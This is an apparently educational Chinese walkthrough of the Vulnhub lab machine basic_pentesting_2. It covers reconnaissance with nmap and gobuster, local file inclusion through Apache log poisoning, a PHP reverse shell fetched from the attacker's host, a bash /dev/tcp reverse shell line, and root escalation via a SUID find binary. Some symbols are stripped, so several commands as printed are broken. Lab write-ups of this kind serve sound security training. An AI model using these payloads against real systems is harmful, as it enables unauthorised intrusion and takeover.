从basic_pentesting_2靶机实战入门渗透测试:信息收集到权限提升全流程解析

📅 2026/6/23 14:58:38
从basic_pentesting_2靶机实战入门渗透测试:信息收集到权限提升全流程解析
1. 项目概述从basic_pentesting_2看渗透测试实战入门如果你刚开始接触渗透测试面对五花八门的工具和概念感到无从下手那么Vulnhub上的“basic_pentesting”系列靶机绝对是为你量身定做的。今天要拆解的就是其中的第二台basic_pentesting_2。这个靶机不像那些复杂的、需要各种0day和高级技巧的挑战它更像是一位耐心的教练把渗透测试中最基础、最核心的流程——信息收集、漏洞发现、漏洞利用、权限提升——掰开了、揉碎了放在一个可控的环境里让你亲手操作一遍。简单来说basic_pentesting_2是一个基于Web应用漏洞的入门级渗透测试靶机。它的核心价值在于通过一个相对简单的场景让你完整地体验一次从外部侦察到最终获取系统最高权限root的标准流程。你会遇到诸如目录遍历、敏感信息泄露、弱密码、命令注入以及利用已知漏洞进行权限提升等经典问题。解决它你不需要成为黑客大神但需要你具备扎实的Kali Linux工具使用基础、对常见Web漏洞原理的理解以及最重要的——耐心和逻辑思维。无论是安全专业的学生、希望转行安全领域的运维人员还是对网络安全充满好奇的开发者通过攻克这个靶机你都能建立起对渗透测试工作流的直观认知为后续挑战更复杂的靶场如DC系列、HackTheBox打下坚实的基础。2. 靶机环境搭建与初始信息收集动手之前环境是第一步。Vulnhub靶机通常以OVA或VMDK虚拟机镜像格式提供。下载basic_pentesting_2的镜像后我建议使用VMware Workstation或VirtualBox来导入。这里有个关键点为了模拟真实的网络环境请务必将虚拟机的网络连接模式设置为“NAT模式”或“桥接模式”。我个人的习惯是使用“NAT模式”这样靶机和你的攻击机Kali Linux会处于同一个虚拟子网内既能互相通信又不会干扰你的物理网络。启动靶机后它通常不会显示IP地址。我们的第一个任务就是找到它。打开你的Kali Linux第一件事不是盲目扫描而是先确认自己的IP以便确定扫描范围。在终端输入ip a或ifconfig记下eth0或tun0如果你用了某些VPN但这里我们不需要的IP地址假设是192.168.1.105。接下来就是渗透测试的“开胃菜”——主机发现。我们使用netdiscover进行主动ARP扫描这是局域网内发现主机最快最准确的方法。sudo netdiscover -r 192.168.1.0/24-r参数指定了扫描范围。扫描结果中除了你熟悉的IP如你的路由器、自己的Kali那个陌生的、大概率是Linux系统MAC地址如VMware的00:0c:29:xx:xx:xx对应的IP就是我们的目标靶机。假设我们发现了192.168.1.110。注意有些网络环境下netdiscover可能效果不佳备选方案是使用nmap进行ping扫描nmap -sn 192.168.1.0/24。-sn参数表示只进行主机发现不扫描端口。确认目标IP后我们进入更细致的端口扫描与服务识别阶段。这是信息收集的核心目的是弄清楚目标开放了哪些“门”端口以及这些“门”后运行着什么服务软件及版本。nmap -sV -sC -O -p- 192.168.1.110这个命令组合了多个实用选项-sV: 探测服务版本。知道服务及其具体版本号是后续搜索漏洞的关键。-sC: 使用默认的Nmap脚本进行扫描。这些脚本能进行一些基本的漏洞检测和信息搜集。-O: 尝试识别操作系统。-p-: 扫描所有65535个端口。对于基础靶机有时用-p-能发现隐藏的、非常规端口上的服务。扫描完成后你会得到一份详细的报告。对于basic_pentesting_2典型的扫描结果会显示开放了以下几个关键端口22/tcp - OpenSSH: SSH服务用于远程管理。版本信息可能提示我们是否存在已知漏洞或配置问题如允许root登录、弱密码。80/tcp - Apache httpd: Web服务器。这就是我们的主攻方向绝大多数漏洞都藏在这里。139/tcp, 445/tcp - Samba smbd: SMB文件共享服务。这常常是信息泄露和权限提升的突破口比如枚举共享目录、利用Samba版本漏洞。拿到这份“地图”后我们的攻击思路就开始清晰了Web端口是正面入口SMB端口可能藏着侧门或情报SSH可能是最终拿到shell后的持久化通道或是暴力破解的目标。3. Web应用漏洞挖掘与利用实战根据Nmap扫描结果我们首先访问靶机的Web服务http://192.168.1.110。打开浏览器你可能会看到一个默认的Apache页面或者一个极其简单的网站。在渗透测试中看似简单的页面往往隐藏着最多的秘密。我们的任务就是把它翻个底朝天。3.1 目录枚举与敏感文件发现面对一个Web应用手动点击是低效的。我们使用工具进行目录爆破寻找隐藏的路径、后台登录页面、配置文件等。gobuster和dirb是常用工具。这里使用gobustergobuster dir -u http://192.168.1.110 -w /usr/share/wordlists/dirb/common.txt -x php,txt,html,bakdir: 指定模式为目录扫描。-u: 指定目标URL。-w: 指定字典文件。common.txt是一个通用的目录字典。-x: 指定要尝试的文件扩展名。php、txt、bak备份文件都是高价值目标。扫描结果可能会发现诸如/admin、/backup、/index.php、/robots.txt等路径。其中robots.txt文件需要第一时间查看它有时会暴露管理员不想被爬取的目录。而像config.php.bak、backup.zip这类文件很可能含有数据库密码、API密钥等敏感信息。在basic_pentesting_2中目录枚举很可能会发现一个关键的目录比如/simple/。访问它可能是一个基于某个CMS如“Simple CMS”搭建的网站。这就是我们的主战场。3.2 漏洞扫描与手动验证发现具体应用后我们可以使用漏洞扫描器如nikto进行初步筛查nikto -h http://192.168.1.110/simple/Nikto会快速检查服务器配置错误、默认文件、过时的软件版本等。它可能会提示“OSVDB-877: HTTP TRACE method is active”这表示启用了TRACE方法可能用于XSS攻击但通常不是直接利用点。它更重要的作用是给我们一个检查清单。然而自动化工具不能替代手动测试。我们需要像用户一样浏览这个“Simple CMS”网站。查看页面源码、测试每一个输入点搜索框、登录框、URL参数。在basic_pentesting_2的典型场景中你可能会在文章浏览页面发现URL参数类似于http://192.168.1.110/simple/article.php?id1。这里就存在一个经典的漏洞SQL注入或文件包含。尝试修改id参数id1添加一个单引号查看页面是否报错。如果报数据库错误说明存在SQL注入可能。id1 and 11和id1 and 12观察页面返回内容是否不同。如果不同则进一步确认存在SQL注入。使用sqlmap进行自动化注入测试在获得授权或靶场环境中sqlmap -u http://192.168.1.110/simple/article.php?id1 --batch --dbs--batch表示以非交互模式运行自动选择默认选项。--dbs尝试枚举数据库。但在这个靶机中更常见的突破口可能是文件包含漏洞。尝试id../../../../etc/passwd。如果页面返回了系统的/etc/passwd文件内容那么恭喜你发现了**本地文件包含LFI**漏洞。/etc/passwd文件包含了系统所有用户的信息虽然密码字段现在是‘x’存储在/etc/shadow但我们可以从中知道系统上有哪些用户为后续的SSH暴力破解或SMB枚举提供了用户名清单。3.3 利用文件包含获取WebShell发现LFI漏洞后我们的目标不再是读取几个文件而是获取一个反向Shell即在靶机上执行命令并让靶机主动连接到我们攻击机的某个监听端口。在LinuxApachePHP环境下一个经典的技巧是利用PHP日志文件注入。我们知道Apache的访问日志默认路径是/var/log/apache2/access.log。这个日志文件记录了每一个HTTP请求包括请求头。如果我们能在User-Agent或Referer等HTTP头中插入PHP代码然后通过LFI漏洞去包含这个日志文件服务器就会执行我们插入的代码。步骤如下准备PHP反向Shell代码。Kali中自带了很多WebShell比如/usr/share/webshells/php/php-reverse-shell.php。复制一份到当前目录并修改里面的IP和端口为你Kali的IP和监听端口。cp /usr/share/webshells/php/php-reverse-shell.php . nano php-reverse-shell.php找到$ip 127.0.0.1;和$port 1234;修改为你的Kali IP如192.168.1.105和一个未被占用的端口如4444。在攻击机开启HTTP服务让靶机能够下载这个Shell文件。python3 -m http.server 8080利用漏洞将Shell代码写入日志。我们需要让靶机访问一个不存在的页面并在User-Agent中携带一句简短的PHP代码这句代码的功能是从我们的HTTP服务器下载完整的Shell文件并保存。 使用curl命令curl -A ?php system(wget http://192.168.1.105:8080/php-reverse-shell.php -O /tmp/shell.php);? http://192.168.1.110/simple/nonexistentpage这个请求会因访问不存在的页面而产生404错误但User-Agent中的PHP代码会被记录到access.log中。通过LFI包含日志文件触发代码执行。在浏览器或再用curl访问http://192.168.1.110/simple/article.php?id../../../../var/log/apache2/access.log如果配置正确这次访问会触发日志文件中我们写入的PHP代码靶机就会执行wget命令将完整的反向Shell脚本下载到/tmp/shell.php。在攻击机开启Netcat监听。nc -nvlp 4444访问我们下载的Shell脚本触发反向连接。http://192.168.1.110/tmp/shell.php访问这个链接如果一切顺利你会在之前的Netcat终端看到一个Shell连接提示你已经获得了靶机上一个Web服务权限通常是www-data用户的Shell。实操心得日志文件路径可能因系统而异如/var/log/httpd/access_log。如果包含不成功可以尝试读取/proc/self/environ或利用PHP的php://input等包装器。另外确保你的PHP Shell代码没有语法错误并且靶机的PHP配置允许执行system()等危险函数。4. 权限提升从www-data到root拿到www-data的Shell只是万里长征第一步。这个用户权限很低无法读取/root目录下的flag最终目标也无法进行很多系统操作。下一步就是权限提升Privilege Escalation俗称“提权”。4.1 系统信息收集首先我们需要了解我们身处一个怎样的系统。在获得的Shell中执行一系列信息收集命令# 查看当前用户和权限 id whoami # 查看系统内核和发行版信息 uname -a cat /etc/os-release # 查看安装了哪些软件特别是以root权限运行的服务 ps aux | grep root netstat -tulpn # 查看是否有任何用户可以以sudo方式执行命令 sudo -l # 如果提示需要密码尝试空密码或弱密码 # 查找具有SUID权限的可执行文件重点 find / -perm -us -type f 2/dev/nullfind / -perm -us -type f 2/dev/null这个命令极其重要。它查找所有设置了SUID位的文件。SUID意味着当任何用户执行这个文件时它将以文件所有者的权限运行。如果找到一个属于root且SUID设置了的文件并且这个文件本身存在漏洞或者可以被我们利用我们就有可能借它获得root权限。4.2 利用SUID二进制文件提权在basic_pentesting_2的典型设置中执行上面的SUID查找命令后你可能会在结果中发现一个不同寻常的二进制文件比如/usr/bin/find。find命令本身是系统常用工具但通常不应该被设置SUID位。一旦它被设置了SUID且属于root它就成了我们提权的“金钥匙”。GNUfind命令有一个-exec参数可以执行任意命令。因为find现在以root权限运行那么它通过-exec执行的命令也将以root权限运行。提权过程非常简单# 在靶机的Shell中执行 /usr/bin/find . -exec /bin/bash -p \;或者/usr/bin/find . -exec /bin/sh -p \;.表示在当前目录开始查找。-exec后面跟上要执行的命令。/bin/bash -p中的-p参数在bash中用于保留提权后的有效用户ID确保我们获得的shell是root权限的。\;是-exec参数的结束符。执行上述命令后你会获得一个新的shell。再次执行id或whoami如果显示uid0(root)那么恭喜你提权成功4.3 其他提权路径探索除了SUID还有其他常见的提权向量内核漏洞如果系统内核版本较旧可能存在公开的本地提权漏洞。使用uname -a查看内核版本然后去searchsploit或互联网搜索对应版本的exploit。# 在Kali上搜索 searchsploit linux kernel 3.13Cron Jobs检查定时任务crontab -l查看当前用户的cat /etc/crontab查看系统的。如果有某个定时任务以root权限运行并且其执行的脚本或路径我们可写我们就可以通过修改它来获得root权限。Sudo权限如果sudo -l显示当前用户可以以root身份无需密码运行某个特定命令如vi,nano,python,perl等我们可以利用这些命令启动一个root shell。例如如果可以无密码运行sudo vi那么在vi中执行:!bash即可获得root shell。在basic_pentesting_2中SUIDfind是最直接、最经典的提权方式。成功提权后你就可以畅游系统最终在/root目录下找到那个标志性的flag.txt或proof.txt文件用cat /root/flag.txt查看内容完成整个渗透测试流程。5. 辅助攻击面SMB服务枚举与利用回顾我们最初的端口扫描靶机还开放了139和445端口Samba。即使在Web端已经取得突破彻底的安全测试也要求我们检查每一个攻击面。SMB服务常常能提供额外的用户凭证或敏感信息。我们可以使用enum4linux这个强大的工具来枚举Samba共享和用户信息enum4linux -a 192.168.1.110-a参数表示进行所有简单枚举。这个命令会尝试获取操作系统信息。枚举共享目录列表。枚举用户列表。尝试使用空会话连接。运行结果可能会显示可用的共享比如IPC$、print$甚至可能有一个名为anonymous或public的可读共享。如果发现可读共享我们可以用smbclient连接并浏览smbclient //192.168.1.110/public -N-N表示匿名登录不提供密码。连接成功后可以使用ls查看文件get filename下载文件。在basic_pentesting_2的场景中SMB枚举可能不是获取初始立足点的必要条件但它极有可能提供关键信息。例如你可能会在某个共享目录下找到一个包含用户名和密码哈希甚至明文密码的文本文件、配置文件或备份文件。这些凭证可以用于SSH登录尝试用得到的用户名和密码或破解后的密码通过SSH端口22登录。SMB认证尝试用凭证访问更高权限的共享。密码复用用户可能在多个服务如Web后台使用相同密码。即使Web漏洞利用一路畅通系统地检查SMB服务也是一个好习惯它能让你更全面地理解靶机的安全状况并练习在多重攻击路径中交叉验证信息。6. 渗透测试流程总结与常见问题排查攻克basic_pentesting_2后我们来梳理一下一个标准的、基础的渗透测试流程并记录下这个过程中容易踩的“坑”。6.1 标准流程复盘信息收集使用netdiscover/nmap发现目标用nmap -sV -sC进行端口扫描和服务识别。这是所有后续行动的基础。漏洞分析针对开放的服务尤其是HTTP/80进行深入探查。使用gobuster/dirb进行目录爆破手动测试每个功能点特别是输入点使用nikto进行自动化漏洞扫描。漏洞利用发现具体漏洞如LFI后研究利用方法。通过文件包含漏洞结合日志污染或PHP包装器上传或写入WebShell代码。获取初始访问设置监听触发WebShell获得一个反向连接拿到www-data权限的Shell。权限提升在目标系统内部进行信息收集id,uname -a,find / -perm -us。发现配置不当的SUID文件如find利用其执行root权限的命令完成提权。后渗透与报告获取最终flag清理痕迹在靶场练习中可省略并整理攻击路径、所用漏洞、风险等级和建议修复方案。6.2 常见问题与解决技巧在复现过程中你可能会遇到以下问题这里提供我的排查思路Q1: 扫描不到靶机IP。检查网络模式确保靶机和Kali虚拟机处于同一网络模式同为NAT或桥接。检查防火墙临时关闭Kali和宿主机的防火墙。使用ARP扫描netdiscover比ICMP ping扫描更可靠。查看DHCP列表在虚拟机软件或路由器的DHCP客户端列表中寻找陌生的主机名或MAC地址。Q2: 目录爆破什么也找不到。更换字典common.txt可能不够用尝试更大的字典如directory-list-2.3-medium.txt。调整线程gobuster使用-t 50增加线程数但别太高避免被屏蔽。检查状态码默认过滤200,204,301,302,307,401,403。有些目录可能返回其他代码可以用-s指定。Q3: 文件包含漏洞利用不成功访问日志文件没反应。确认日志路径尝试/var/log/httpd/access_log、/var/log/apache2/access.log、/var/log/apache/access.log等常见路径。也可以尝试读取/etc/apache2/apache2.conf或/etc/httpd/conf/httpd.conf来查找CustomLog指令定义的路径。检查权限Web用户www-data必须有权限读取日志文件。代码是否执行在User-Agent中插入最简单的?php phpinfo();?测试PHP代码是否会被执行和记录。利用其他方法尝试包含/proc/self/environ环境变量或使用php://input流。Q4: 反向Shell连接不上。检查IP和端口反复确认Shell脚本中的IP和端口与Netcat监听的IP端口完全一致。检查防火墙靶机或网络是否有出站限制尝试在靶机上用nc -zv 攻击机IP 4444测试连通性。尝试其他Shell类型PHP反向Shell可能被禁用某些函数。尝试使用Python、Perl、Netcat甚至Bash的反向Shell命令。# Bash反向Shell示例在漏洞点执行 bash -c bash -i /dev/tcp/192.168.1.105/4444 01使用编码或备用端口尝试使用Base64编码命令或更换为53、443等常见放行端口。Q5: SUID提权失败。确认SUID位用ls -la /usr/bin/find仔细查看权限位应该是-rwsr-xr-x其中的s就是SUID位。命令语法确保-exec参数后的命令和结束符\;书写正确。尝试其他SUID程序如果find不行检查列表中的其他程序如vim、nano、more、less、nmap旧版本、cp等搜索它们的SUID提权方法。使用自动化脚本在靶机上传并运行LinEnum.sh或linpeas.sh等Linux本地提权枚举脚本它们能系统性地检查各种提权可能。整个basic_pentesting_2的渗透过程就像一次精心设计的教学演练。它没有刻意设置复杂的障碍而是把每个环节都清晰地展现出来。关键在于理解每个步骤背后的原理为什么扫描这些端口为什么目录爆破用这些字典为什么LFI能导致RCE为什么SUID位的find能提权想通了这些“为什么”你收获的就不是几个命令而是一套应对未知系统的方法论和思维模式。这才是这个靶机乃至整个渗透测试学习过程中最宝贵的部分。